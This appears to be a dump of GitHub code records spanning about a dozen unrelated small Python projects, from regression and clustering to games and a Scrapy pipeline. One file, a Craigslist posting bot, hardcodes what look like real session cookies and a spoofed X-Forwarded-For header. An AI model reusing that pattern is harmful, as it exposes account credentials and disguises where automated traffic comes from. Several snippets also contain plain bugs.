pca.transform(y_true)\n\"\"\"#///денормализация\n\n#for i in y:\n# y_true.append(int(i))\n#for i in y:\n# y_pre.append(int(i))\n\n#print(\"y_true\", y_true)\n#print(\"y_pre\", y_pre)\n\ny_pre = []\ny_true = y_norm\na = b = c = 0\n\nfor k in range(len(y_true)):\n y_true[a] = (y_true[k] * (4 + (4 - 1)))\n a += 1\n\n\nfor k in range(len(pre)):\n y_pre.append(pre[k] * (4 + (4 - 1)))\n b += 1\n\nprint(\"lenxtest: \", len(x_test))\nfor k in range(len(x_test)):\n x_test[c] = (x_test[k] * (4 + (4 - 1)))\n c += 1\n\n\nprint(\"y true: \", y_true)\nprint(\"y pre: \", y_pre)\n\n\nRMSE_Error = mean_squared_error(y_test, y_pre)\nprint(\"RMSE_Error = \", RMSE_Error)\n\ny_t = y_test\ny_test = np.resize(y_test, 20)\ny_pre = np.resize(y_pre, 20)\n\n#xtest_d = np.resize(xtest_denorm, 20)\n\ndt = {\"y_t\": y_test, \"y_p\": y_pre}\ndf = pd.DataFrame(dt)\ndf.plot(kind = \"bar\")\nplt.show()\n\n\n#print(\"yt: \", y_t)\n#print(\"x_test: \", xtest_denorm[:, 1])\n\n\nplt.scatter(xtest_denorm[:, 1], y_t)\nplt.plot(xtest_denorm[:, 1], (linear.coef_[1] * xtest_denorm[:, 1]) + linear.intercept_, color='red', linewidth=2)\nplt.show()\n\n\n#plt.hist([y_pre, y_true], bins)\n#plt.hist(y_pre, bins, alpha=0.5, label='x')\n#plt.hist(y_true, bins, alpha=0.5, label='y')\n\n#plt.show()\n\n\n#plt.hist(y_true, alpha = 0.5, color=\"blue\")\n#plt.hist(y_pre, alpha = 0.5, color=\"orange\")\n\n#plt.show()\n\n\n#print(shapiro_test)\n#print(stat, p)\n\n\n\n#with open('Development Index.csv', mode='r') as File:\n #fieldNames = [\"Population\", \"Pop. Density\", \"GDP ($ per capita)\"]\n #data = csv.DictReader(File, fieldNames)\n #for row in data:\n #print(row[\"Population\"], row[\"Pop. Density\"], row[\"GDP ($ per capita)\"])\n\n#print(data)\n\n#print(data.reader)\n#p = shapiro(data[\"Population\"])\n#print(stat)\n#print(p)\n\n\n#plt.hist(row[\"GDP ($ per capita)\"])\n\n#plt.show()","repo_name":"cyber-dinov/Python-Linear-Regression","sub_path":"pythonProject/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20676495468","text":"import random, math\r\nimport matplotlib.pyplot as plt\r\nhistory = [1000]\r\nmoney = 1000\r\ndef gen_dice():\r\n return random.randint(1,6)+random.randint(1,6)\r\ndef gen_payout():\r\n payout = [0]*13\r\n for i in range(2,13):\r\n payout[i] = (36/(6-abs(i-7))-1) * (1+random.gauss(0,.1))\r\n return payout\r\nfor q in range(1000):\r\n die_roll = gen_dice()\r\n # print(\"Your money: {0}\".format(money))\r\n amount = [-1] * 13\r\n payout = gen_payout()\r\n # print(payout[2:])\r\n for i in range(2,13):\r\n # print(\"Pay out for {0} is {1}, your current balance is {2}\".format(i,payout[i],money))\r\n # while(amount[i] < 0 or money-amount[i] < 0):\r\n # amount[i] = int(input())\r\n if(payout[i] > 36/(6-abs(i-7))-1):\r\n amount[i] = max(money * ((6-abs(i-7))/36-(30+abs(i-7))/36/payout[i]),0) #kelly criterion\r\n # amount[i] = money*(6-abs(i-7))/1000 #uniform\r\n money -= amount[i]\r\n # print(\"Roll is: {0}\".format(die_roll))\r\n money += (payout[die_roll]+1) * amount[die_roll]\r\n history.append(money)\r\nplt.plot(history)\r\nplt.show()","repo_name":"austinzhang1018/trading-practice","sub_path":"dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18803604491","text":"import sys\nimport csv\nimport math\nimport numpy as np\n\ndataFile = open(sys.argv[1], 'r')\nclusterType = sys.argv[2]\nnumReturnCluster = int(sys.argv[3])\n\ntrueExonSeqs = []\nwith dataFile as f:\n\treader = csv.reader(f, delimiter=\"\\t\")\n\tdata = list(reader)\n\nclass Gene:\n\tdef __init__(self, indicator, descrip, pVector):\n\t\tself.indicator = indicator\n\t\tself.descrip = descrip\n\t\tself.pVector = pVector\n\ndef initial_dist(c_u, c_v):\n\tsumSquares = 0\n\tfor j in range(len(c_u)):\n\t\tsumSquares = sumSquares + (c_u[j]-c_v[j])**2\n\treturn math.sqrt(sumSquares)\n\t\ndef updateDist(u, v, uLen, vLen):\n\t#print('distMat dimensions:',len(distMat),len(distMat[0]))\n\t#print(np.matrix(distMat))\n\t#print('u:',u,'v:',v)\n\tnewMatrix = []\n\tfor i in range(len(distMat)):\n\t\tnewRow = []\n\t\tfor k in range(len(distMat)):\n\t\t\t#print((i!=u and i!=v) and (k!=u and k!=v))\n\t\t\tif((i!=u and i!=v) and (k!=u and k!=v)):\n\t\t\t\t#print(\"adding to new row\")\n\t\t\t\tnewRow.append(distMat[i][k])\n\t\t\t\t#print(\"len new row inside:\",len(newRow))\n\t\tif(len(newRow) != 0): \n\t\t\t#print(\"inside adding to newMatrix\")\n\t\t\tnewRow.append(-1)\n\t\t\tnewMatrix.append(newRow)\t\t\n\tlastRow = [-1 for i in range(len(newMatrix[0]))]\n\t#print(len(lastRow),len(newRow))\n\tlastRow[len(lastRow)-1] = 0\n\tnewMatrix.append(lastRow)\n\t#print(lastRow)\n\t#print(newMatrix)\n\tk = len(newMatrix)-1\n\tif(clusterType == 'S'):\n\t\t#print(len(newMatrix),len(C))\n\t\tmyAdder = 0\n\t\ti=0\n\t\t#alreadyAdded = False\n\t\twhile((i+myAdder)numReturnCluster:\n\t#print('\\n')\n\tj = j+1\n\t#Find the least distant pair in C\n\t[minU, minV] = argmin()\n\t#print(\"minU:\",minU)\n\t#print(\"minV:\",minV)\n\t#Create a new cluster for pair\n\t#print(\"len U:\", len(C[minU]), \"len V:\", len(C[minV]))\n\tc_j = []\n\tclust_u = C[minU]\n\tclust_v = C[minV]\n\tif(isinstance(clust_u[0],list)):\n\t\tfor g in range(len(clust_u)):\n\t\t\tc_j.append(clust_u[g])\n\telse:\n\t\tc_j.append(clust_u)\n\tif(isinstance(clust_v[0],list)):\n\t\tfor g in range(len(clust_v)):\n\t\t\tc_j.append(clust_v[g])\n\telse:\n\t\tc_j.append(clust_v)\n\t#print(clust_u)\n\t#print('\\n',clust_v)\n\t#print('\\n',c_j)\n\t#print(\"Length before merge:\",len(C))\n\t#Add new cluster to list of clusters to be joined in the tree\n\tif(isinstance(C[minU][0],list)): uLen = len(C[minU])\n\telse: uLen = 1\n\tif(isinstance(C[minV][0],list)): vLen = len(C[minV])\n\telse: vLen = 1\n\tif(minU < minV):\n\t\tdel C[minU]\n\t\tdel C[minV-1]\n\telse:\n\t\tdel C[minV]\n\t\tdel C[minU-1]\n\tC.append(c_j)\n\tdistMat = updateDist(minU, minV, uLen, vLen)\n\t#print(\"length after:\",len(C))\n\n#print(\"num clusters:\", len(C))\n#print(len(C[0]),len(C[1]))\n\ngeneClusters = []\nfor cluster in C:\n\tcurrCluster = []\n\tif(isinstance(cluster[0],list)):\n\t\tfor pVec in cluster:\n\t\t\tfor gene in allGenes:\n\t\t\t\tif(gene.pVector == pVec):\n\t\t\t\t\tcurrCluster.append(gene)\n\telse:\n\t\tfor gene in allGenes:\n\t\t\tif(gene.pVector == cluster):\n\t\t\t\tcurrCluster.append(gene)\n\tgeneClusters.append(currCluster)\n\n#throwAwayClusters = copy.deepcopy(geneClusters)\nOrderedgeneClusters = []\nallAvgs = []\nclusDict = {}\nfor val in range(len(geneClusters)):\n\tcluster = geneClusters[val]\n\tavgs = []\n\tfor i in range(len(cluster)):\n\t\tcurAvg = sum(cluster[i].pVector)/len(cluster[i].pVector)\n\t\tavgs.append(curAvg)\n\tclusAvg = sum(avgs)/len(avgs)\n\tclusDict[clusAvg] = val\n\tallAvgs.append(clusAvg)\n\t\nallAvgs.sort()\nfor avg in allAvgs:\n\tOrderedgeneClusters.append(clusDict[avg])\n\nfor val in OrderedgeneClusters:\n\tcluster = geneClusters[val]\n\tavgs = []\n\twhile(len(cluster)>0):\n\t\tminAvg = 1000\n\t\tbestGene = -1\n\t\tfor i in range(len(cluster)):\n\t\t\tcurAvg = sum(cluster[i].pVector)/len(cluster[i].pVector)\n\t\t\tif(curAvg < minAvg):\n\t\t\t\tminAvg = curAvg\n\t\t\t\tbestGene = i\n\t\tprint(cluster[bestGene].indicator,cluster[bestGene].descrip,\"{0:.3f}\".format(minAvg))\n\t\tavgs.append(minAvg)\n\t\tdel cluster[bestGene]\n\tprint(\"{0:.3f}\".format(sum(avgs)/len(avgs)))\n\tprint()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"teaguetomesh/BioInformatics","sub_path":"Hierarchical Clustering/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":7102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8793202513","text":"import openpyxl as xl\n\n# Book\nwb = xl.load_workbook('test-data/test-data.xlsx')\n\n# Sheet\nws = wb['Test3']\n\ndef vlookup(key, keyColumnAlphabet, resultColumnAlphabet):\n \"\"\"keyColumnAlphabet列から key を探し、見つけた行の resultColumnAlphabet列のセルを返します\n Parameters\n ----------\n key : str\n 探す値\n keyColumnAlphabet : str\n 探す列\n resultColumnAlphabet : str\n 欲しい値がある列\n \"\"\"\n for rowNumber in range(2,10):\n id = ws[f'{keyColumnAlphabet}{rowNumber}'].value\n print(f'id={id}')\n if id == key:\n return ws[f'{resultColumnAlphabet}{rowNumber}']\n elif id is None or id == '':\n return None\n\n return None\n\nresult = vlookup(3, 'A', 'B')\nprint(f'found={result.value}')\n","repo_name":"muzudho/openpyxl-practice","sub_path":"vlookup_practice.py","file_name":"vlookup_practice.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14035743454","text":"# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single interface\nfrom itemadapter import ItemAdapter\nfrom scrapy.pipelines.images import ImagesPipeline\nimport scrapy\nfrom pymongo import MongoClient\nimport hashlib\nfrom pymongo.errors import DuplicateKeyError as dke\n\n\nclass MyParserPipeline:\n def __init__(self):\n client = MongoClient('localhost', 27017)\n self.mongobase = client['DB_hw7']\n\n def process_item(self, item, spider):\n item['_id'] = hashlib.sha256(bytes(item['url'], encoding='utf8')).hexdigest()\n col = self.mongobase[spider.name]\n item['price_sale'], item['price_true'], item['currency'] = self.process_salary(item['price'])\n try:\n col.insert_one(item)\n except dke:\n print(f'Такой контент уже есть! _id = {item[\"_id\"]}')\n\n return item\n\n def process_salary(self, price):\n if len(price) <= 4:\n s_min = price[1]\n s_max = price[1]\n cur = price[2]\n else:\n s_min = price[1]\n s_max = price[5]\n cur = price[2]\n\n return s_min, s_max, cur\n\n\nclass MyPhotopipeline(ImagesPipeline):\n def get_media_requests(self, item, info):\n if item['photos']:\n for img in item['photos']:\n try:\n yield scrapy.Request(img)\n except Exception as e:\n print(e)\n\n def item_completed(self, results, item, info):\n item['photos'] = [i[1] for i in results if i[0]]\n\n return item\n","repo_name":"SergeyK21/Methods_of_collecting_and_processing_data_from_the_Internet","sub_path":"hw7/my_parser/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7052901638","text":"#Write a function to check whether a number is an Armstrong number. An Armstrong number is a number where the sum of it's digits each raised to the power of the number of digits equals the given number. For e.g.:371 is an Armstrong number: 3^3+7^3+1^3=371\n\n\ndef len_number(n):\n count=0\n while(n>=1):\n count+=1\n n=n/10\n return count\n\ndef armstrong(n):\n summ=0\n num=len_number(n)\n while(n>0):\n unit=n%10\n summ+=pow(unit, num)\n n=abs(n/10)\n return(summ)\n\nnumber=input()\nif armstrong(number)==number:\n print('T')\nelse:\n print('F')\n\n\n\n \n\n","repo_name":"GSri30/My-Python-Codes","sub_path":"functions/q6.py","file_name":"q6.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33494202770","text":"\n# import actors\nfrom actors import Wizard, Creature\nimport random\nimport time\n\n\n\ndef main():\n print_header()\n game_loop()\n\n\ndef print_header():\n print('************************')\n print(' WIZARD GAME APP ')\n print('************************')\n\n\ndef game_loop():\n creatures = [\n Creature('Todaa', 1),\n Creature('Tiger' , 12),\n Creature('Bat' , 3),\n Creature('Draggon' , 50),\n Creature('Evil Wizard', 1000)\n\n ]\n # print(creatures)\n hero = Wizard('Gandeoof', 75)\n\n\n while True:\n\n active_creature = random.choice(creatures)\n print('A {} of level {} has appeared from a forest....'\n .format(active_creature.name, active_creature.level))\n print()\n\n cmd = input('Do you [a]ttack. [r]unaway, or [l]ook around ? ')\n if cmd =='a':\n if hero.attack(active_creature):\n creatures.remove(active_creature)\n else:\n print(\"The wizard runs and hides for recovery \")\n time.sleep(5)\n print(\"The wizard Returns \")\n\n elif cmd == 'r':\n print('runaway')\n elif cmd == 'l':\n print(\"The Wizard {} takes in the surroundings and sees: \"\n .format(hero.name))\n for c in creatures:\n print(\" * A {} of level {}\".format(c.name, c.level))\n else:\n print('OK, existing the game')\n break\n\n print()\n\nif __name__=='__main__':\n main()\n","repo_name":"vbhat1976/Python_Talk","sub_path":"program7.py","file_name":"program7.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"22927538518","text":"totalEleitores = int(input('Total de eleitores da cidade: '))\ntotalBranco = int(input('Total de votos brancos: '))\ntotalNulo = int(input('Total de votos nulos: '))\ntotalValido = int(input('Total de votos válidos: '))\ntotalVotos = totalBranco + totalNulo + totalValido\n\npercentualBranco = (totalBranco / totalEleitores)*100\npercentualNulo = (totalNulo / totalEleitores)*100\npercentualValido = (totalValido / totalEleitores)*100\n\nif (totalEleitores == totalVotos):\n result = 'Todos eleitores votaram'\nelse:\n naoVotaram = totalEleitores-totalVotos\n percentualNaoVotaram = (naoVotaram/totalEleitores)*100\n result = str(naoVotaram)+' eleitores não votaram'\n \n \nprint('Votos brancos: ', percentualBranco, '%')\nprint('Votos nulos: ', percentualNulo, '%')\nprint('Votos válidos: ', percentualValido, '%')\nif percentualNaoVotaram:\n print('Não votaram: ', percentualNaoVotaram, '%')\n \nprint('Resultado: ', result)\n","repo_name":"ShaianeBoesing/Exercicios-python","sub_path":"estatisticasEleicao.py","file_name":"estatisticasEleicao.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72471403681","text":"# -*- coding: utf-8 -*-\n\nimport argparse\nfrom pprint import pprint\nimport sys\n\nfrom lib.collection_utils import *\nfrom lib.io_utils import *\nfrom lib.math_utils import *\n\n# input\nparser = argparse.ArgumentParser()\nparser.add_argument('-in', dest=\"INPUT_FILE\", default=\"tmp/samples_tsne.csv\", help=\"Input file\")\nparser.add_argument('-props', dest=\"PROPS\", default=\"gridX,gridY\", help=\"Grid props\")\na = parser.parse_args()\n\n# Parse arguments\nPROPX, PROPY = tuple([p for p in a.PROPS.strip().split(\",\")])\nOUTPUT_FILE = a.INPUT_FILE.replace(\".csv\", \"_grid.csv\")\n\n# Read files\nfieldNames, samples = readCsv(a.INPUT_FILE)\nsampleCount = len(samples)\n\n# Sort by grid\nsamples = sorted(samples, key=lambda s: (s[PROPY], s[PROPX]))\n\n# Group rows by y property\nrows = groupList(samples, PROPY)\nrows = sorted(rows, key=lambda r: r[PROPY])\n\n# format cols\ncsvRows = []\nfor row in rows:\n cols = sorted(row[\"items\"], key=lambda c: c[PROPX])\n cols = [\"%s %s\" % (col[\"filename\"], formatSeconds(col[\"start\"]/1000.0)) for col in cols]\n csvRows.append(cols)\n\nwriteCsv(OUTPUT_FILE, csvRows, headings=None)\n","repo_name":"beefoo/media-tools","sub_path":"grid_to_csv.py","file_name":"grid_to_csv.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"54"} +{"seq_id":"11660357908","text":"import pygame\n\nclass Rocket():\n def __init__(self, ex_game) -> None:\n \"\"\"Initialize the rocket and set its starting position\"\"\"\n self.screen = ex_game.screen\n self.screen_rect = ex_game.screen.get_rect()\n self.image = pygame.image.load('images/rocket.bmp')\n self.rocket_speed = 1.5\n\n self.rect = self.image.get_rect()\n\n self.rect.center = self.screen_rect.center\n\n self.x = float(self.rect.x)\n self.y = float(self.rect.y)\n\n self.moving_right = False\n self.moving_left = False\n self.moving_up = False\n self.moving_down = False\n\n def update(self):\n # move right\n if self.moving_right and self.rect.right < self.screen_rect.right:\n self.x += self.rocket_speed\n # move left\n if self.moving_left and self.rect.left > 0:\n self.x -= self.rocket_speed\n # move up\n if self.moving_up and self.rect.top > 0:\n self.y -= self.rocket_speed\n # move down\n if self.moving_down and self.rect.bottom < self.screen_rect.bottom:\n self.y += self.rocket_speed\n \n self.rect.x = self.x\n self.rect.y = self.y\n\n def blitme(self):\n \"\"\"Draw the rocket at its current location\"\"\"\n self.screen.blit(self.image, self.rect)","repo_name":"be1ia1/alien_invasion","sub_path":"rocket.py","file_name":"rocket.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11714749579","text":"# encoding: utf-8\n# last_modified: 2020/3/10\n\nimport re\nimport requests\n\ncraigslist_cookies = {\n 'cl_b': '4|6cf80008dcffd9a21c9c8d525300740a33004a7f|1583805322nEg-8',\n 'cl_def_hp': 'toronto',\n 'cl_tocmode': 'hhh%3Agrid',\n 'cl_session': 'H500n2PTDvNR9MAJj2bfsDTo0000JY5mEvVlYN33m2JtCMaDAUqxNOufp2X00k2s',\n 'cl_login': '1'\n}\n\n\nclass Craigslist:\n\n def __init__(self, cookies):\n self.headers = {\n 'Connection': 'keep-alive',\n 'Cache-Control': 'max-age=0',\n 'DNT': '1',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Edg/81.0.360.55',\n 'Sec-Fetch-Dest': 'document',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'Sec-Fetch-Site': 'none',\n 'Sec-Fetch-Mode': 'navigate',\n 'Sec-Fetch-User': '?1',\n 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',\n 'X-Forwarded-For': '208.82.237.6',\n }\n self.cookies = cookies\n\n @staticmethod\n def get_cryptedStepCheck(html_raw):\n try:\n # subarea type page \n cryptedStepCheck = re.findall(\n r'cryptedStepCheck\" value=\"(.\\S+)\"', html_raw)[0]\n return cryptedStepCheck\n except:\n # hcat page\n raw_line = html_raw.split('cryptedStepCheck')[1]\n cryptedStepCheck = raw_line.lstrip('\"\\n value=\"').rstrip('\"\\n class=\"')\n return cryptedStepCheck\n\n @staticmethod\n def get_params(x):\n \"\"\"\n step1 n = 1 means Toronto\n step2 id = ho means housing\n step3 id = 18 means rooms&shares\n \"\"\"\n return{\n 'subarea': {'n': 1},\n 'type': {'id': 'ho'},\n 'hcat': {'id': 18},\n }.get(x, 0)\n\n def login(self):\n \"\"\"\n in cookies-existed mode , login is not necessary\n success = True of False\n \"\"\"\n login_url = 'https://accounts.craigslist.org/login/home'\n r = requests.get(login_url, headers=self.headers, cookies=self.cookies)\n success = 'billing' in r.text\n return success\n\n def creat_post(self):\n \"\"\"\n path is like /k/ELIJkH1nnhGNt8z3PIyhDw/A4c6e\n \"\"\"\n creat_post_url = 'https://post.craigslist.org/c/tor'\n r = requests.get(creat_post_url, headers=self.headers,\n cookies=self.cookies, allow_redirects=False)\n path = r.headers.get('Location')\n return path\n\n def set_params(self, path, param_type):\n \"\"\"\n n = 1 means Toronto\n success = True of False\n \"\"\"\n subarea_url = 'https://post.craigslist.org' + path\n params_dict = Craigslist.get_params(param_type)\n params = {'s':param_type}\n r = requests.get(subarea_url, headers=self.headers,\n params=params, cookies=self.cookies)\n cryptedStepCheck = Craigslist.get_cryptedStepCheck(r.text)\n print('cryptedStepCheck(csrf-token):' + cryptedStepCheck)\n params_dict['cryptedStepCheck'] = cryptedStepCheck\n r = requests.post(subarea_url, headers=self.headers, params=params,\n data=params_dict, cookies=self.cookies)\n success = 'logged in as' in r.text\n return success\n\n\nif __name__ == \"__main__\":\n account1 = Craigslist(craigslist_cookies)\n # print(account1.login())\n post_path = account1.creat_post()\n print('generated a new post: ' + post_path)\n print(account1.set_params(post_path, 'subarea'))\n print('subarea setted')\n print(account1.set_params(post_path, 'type'))\n print('type setted')\n print(account1.set_params(post_path, 'hcat'))\n print('hcat setted')\n","repo_name":"6r6/craigslist","sub_path":"tiny-craigslist.py","file_name":"tiny-craigslist.py","file_ext":"py","file_size_in_byte":3915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26470117815","text":"#!/usr/bin/env python\n#\n# 3/1/2016\n# This code is the module for overlapDelInProtCodRegions.py with all the relevant functions to read deletions from chain files, intersect them with sequencing gap regions etc.\n\nimport re\nimport sys\nimport os\nimport gzip\nimport subprocess\n\ndef readGapsInChainFile(assembly, subsetChains, refAssembly=\"hg38\"):\n\tprint(\"\\n\\t...extracting chain gaps for target assembly \" + assembly + \"\\n\")\n\tchainMapDir = \"/cluster/u/amirma/geneLoss/\" + refAssembly + \"/mappings/\"\n\t# This subroutine reads gaps in chain files (gaps of the query species seen in the reference browser)\n\t# and generates a BED file of those gaps with indication for whether they are single or double sided as well as chain id\n\tminDelSize = 1\t \t# I'm interested in any non-zero deletion\n\tgapPad = 5\t # I'll pad the gap with gapPad in each direction to overlap with the gap track\n\t#chainFile='/cluster/gbdb/' + refAssembly + '/liftOver/' + refAssembly + 'To' + assembly[0].upper() + assembly[1:] + '.over.chain.gz'\n\tchainFile='/cluster/u/yatisht/aligner/comparative/' + refAssembly + '/chains/' + refAssembly + '.' + assembly + '.all.chain'\n\t#if (assembly=='orcOrc1'):\n\t#\tchainFile='/cluster/u/amirma/data/chainHelpers/hg38/' + assembly + '/hg38.' + assembly + '.all.chain.gz'\n\t#chainFile = 'hg19To' + assembly[0].upper() + assembly[1:] + '.over.chain.sample.gz'\n\toutBed = open('/cluster/u/amirma/geneLoss/hg38/browser_visuals/largeDel/' + assembly + '.gapsInChains.bed', 'w')\n\trefChr = 'chr1' # just to pass the first control\n\tqueryGapTrack = getQueryGapTrack(assembly)\t\t\t# A hash table\n\tchainIDs = GetSubsetChains(assembly, chainMapDir, chainFile)\t# an array with chain IDs (human to query to analyze) \n\t#with gzip.open(chainFile) as f:\n\twith open(chainFile) as f:\n\t\tfor line in f:\n\t\t\tif ((len(line.split('\\t'))<=1 and len(line.split(' '))<=1) or line[0]=='#'):\n\t\t\t\tcontinue\n\t\t\tif re.search('chain', line):\t# new chain\n\t\t\t\trefChr = line.split(' ')[2]\t\t# chr in reference genome\n\t\t\t\tchainID = line.split(' ')[12].rstrip()\t# the id of the chain\n\t\t\t\tif (not conventionalChromosomeHG(refChr)) or (chainID not in chainIDs):\n\t\t\t\t\twhile line != \"\\n\":\n\t\t\t\t\t\tline = next(f)\n\t\t\t\t\tcontinue\n\t\t\t\tqChr = line.split(' ')[7]\t\t# chr in query\n\t\t\t\tqStrand = line.split(' ')[9]\t\t# = or - strand in query\n\t\t\t\trefPos = int(line.split(' ')[5])\t# the start pos of the chain - on reference\n\t\t\t\tqPos = int(line.split(' ')[10])\t# the start pos of the chain - on query\n\t\t\t\tgapInd = 0\t\t\t\t# index of the gap\n\t\t\t\tif (qStrand==\"+\"):\t\t\t# I'll coerce the query strand to an actual direction for subsequent operation on genomic regions\n\t\t\t\t\tqStrandM = 1\n\t\t\t\tif (qStrand==\"-\"):\n\t\t\t\t\tqStrandM = -1\n\t\t\t\t\tqPos = int(line.split(' ')[8]) - qPos\n\t\t\telse:\n\t\t\t\trefPos = refPos + int(line.split('\\t')[0])\t# Propagate the ref position to the end of current alignment block\n\t\t\t\tqPos = qPos + qStrandM*int(line.split('\\t')[0])\n\t\t\t\trefDelSize = int(line.split('\\t')[1])\n\t\t\t\tqDelSize = int(line.split('\\t')[2])\n\t\t\t\tRefEndDel = refPos + refDelSize\n\t\t\t\tif (refDelSize>=minDelSize):\n\t\t\t\t\tcheckGapInterval = [qPos - qStrandM*gapPad, qPos + qStrandM*(gapPad + qDelSize)]\n\t\t\t\t\tcheckGapInterval.sort()\n\t\t\t\t\tif (qChr not in queryGapTrack.keys()) or (notOnSeqeuncingGap(checkGapInterval, queryGapTrack[qChr])):\t# Check if in seqeuncing gap\n\t\t\t\t\t\tgapInd += 1\n\t\t\t\t\t\tif (qDelSize>0):\n\t\t\t\t\t\t\toutBed.write(refChr + '\\t' + str(refPos) + '\\t' + str(RefEndDel) + '\\t' + chainID + '_DS_gap' + str(gapInd) + '\\n')\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\toutBed.write(refChr + '\\t' + str(refPos) + '\\t' + str(RefEndDel) + '\\t' + chainID + '_SS_gap' + str(gapInd) + '\\n')\n\t\t\t\trefPos = RefEndDel\n\t\t\t\tqPos = qPos + qStrandM*qDelSize\n\toutBed.close()\n\ndef getQueryGapTrack(assembly):\n\tgapFile = '/cluster/u/amirma/git/forwardGenomics/geneLoss/matrixAnalysis/data/UCSC/GapTracks/' + assembly + '.gap_filtered.bed'\n\tgapHash = {}\n\twith open(gapFile) as g:\n\t\tfor line in g:\n\t\t\tchrom = line.split('\\t')[0]\n\t\t\tgapStart = line.split('\\t')[1]\n\t\t\tgapEnd = line.split('\\t')[2]\n\t\t\tif chrom in gapHash.keys():\n\t\t\t\tgapHash[chrom].append(gapStart + '\\t' + gapEnd)\n\t\t\telse:\n\t\t\t\tgapHash[chrom] = [gapStart + '\\t' + gapEnd]\n\treturn gapHash\n\ndef GetSubsetChains(assembly, chainMapDir, chainFile, subsetChains=True):\n\tchainIDs = []\n\tif (not subsetChains):\n\t\twith gzip.open(chainFile) as f:\n\t\t\tfor line in f:\n\t\t\t\tif re.search('chain', line):\n\t\t\t\t\tchainIDs.append(line.split(' ')[12].rstrip())\n\telse:\n\t\twith open(chainMapDir + assembly + '.chain_ids') as f:\n\t\t\tfor line in f:\n\t\t\t\tchainIDs.append(line.split(' ')[1])\n\treturn list(set(chainIDs))\n\t\n\ndef conventionalChromosomeHG(refChr):\n\ta = (re.search('chr\\d+\\Z', refChr) and int(re.search('chr(\\d+)\\Z', refChr).group(1))<=22 and int(re.search('chr(\\d+)\\Z', refChr).group(1))>=1)\n\tb = (refChr=='chrM') or (refChr=='chrX') or (refChr=='chrY')\n\tif (a or b):\n\t\treturn 1\n\telse:\n\t\treturn 0\n\t\t\n\t\ndef notOnSeqeuncingGap(chainGap, ChromQueryGapTrack):\n\t# I check if a gap in chain contains or has any overlap with a sequencing gap\n\tx0 = chainGap[0]\t\n\ty0 = chainGap[1]\n\tl0 = y0 - x0\t# total length of gap in chain\n\tfor seqGap in ChromQueryGapTrack:\n\t\tx1 = int(seqGap.split('\\t')[0])\n\t\ty1 = int(seqGap.split('\\t')[1])\n\t\tl1 = y1 - x1\t# total length of current sequencing gap\n\t\tl_observed = max(y0, y1) - min(x0, x1)\n\t\tif (l_observed < (l0 + l1)):\n\t\t\treturn False\n\treturn True\n\ndef intersectDelWithCodingExons(assembly):\n\tprint(\"\\n\\t...intersecting chain gaps with coding exons\\n\")\n\tos.system(\"overlapSelect ./data/testedTranscripts.ExonsCodingBases.bed ./largeDel/\" + assembly + \".gapsInChains.bed stdout | sort -t$'\\\\t' -k4,4 > a.bed\" )\t\n\tos.system(\"overlapSelect ./data/testedTranscripts.ExonsCodingBases.bed ./largeDel/\" + assembly + \".gapsInChains.bed -idOutput stdout | sort -u > b.txt\")\n\tos.system(\"join -t$'\\\\t' -1 4 -2 1 -o '2.2 1.1 1.2 1.3 1.4' a.bed b.txt > ./largeDel/\" + assembly + \".overlappingGaps\")\n\tos.system(\"rm -rf a.bed b.txt\")\n\t#subprocess.call(overlapSelect, shell=True)\n#\tif not os.path.isfile('refTranscripts.bed'):\n#\t\ttranscripts = [line.strip() for line in open(refTrans, 'r')]\n#\t\ttranscriptBED = open('refTranscripts.bed', 'w')\n#\t\twith open (dataDir + '/Ensembl/transcriptExonsCodingBases.bed') as f:\n#\t\t\tfor line in f:\n#\t\t\t\tif line.split('\\t')[3] in transcripts:\n#\t\t\t\t\ttranscriptBED.write(line)\n#\t\ttranscriptBED.close()\n#\tos.system(\"overlapSelect refTranscripts.bed \" + assembly + \".deletions.bed \" + assembly + \"_tmp\")\n#\tos.system(\"mv \" + assembly + \"_tmp \" + assembly + \".deletions.bed\")\n\n\t\t\t\n","repo_name":"marcoAmir/backups","sub_path":"geneLoss/browser_visuals/src/readDeletionsFromChains.py","file_name":"readDeletionsFromChains.py","file_ext":"py","file_size_in_byte":6461,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} 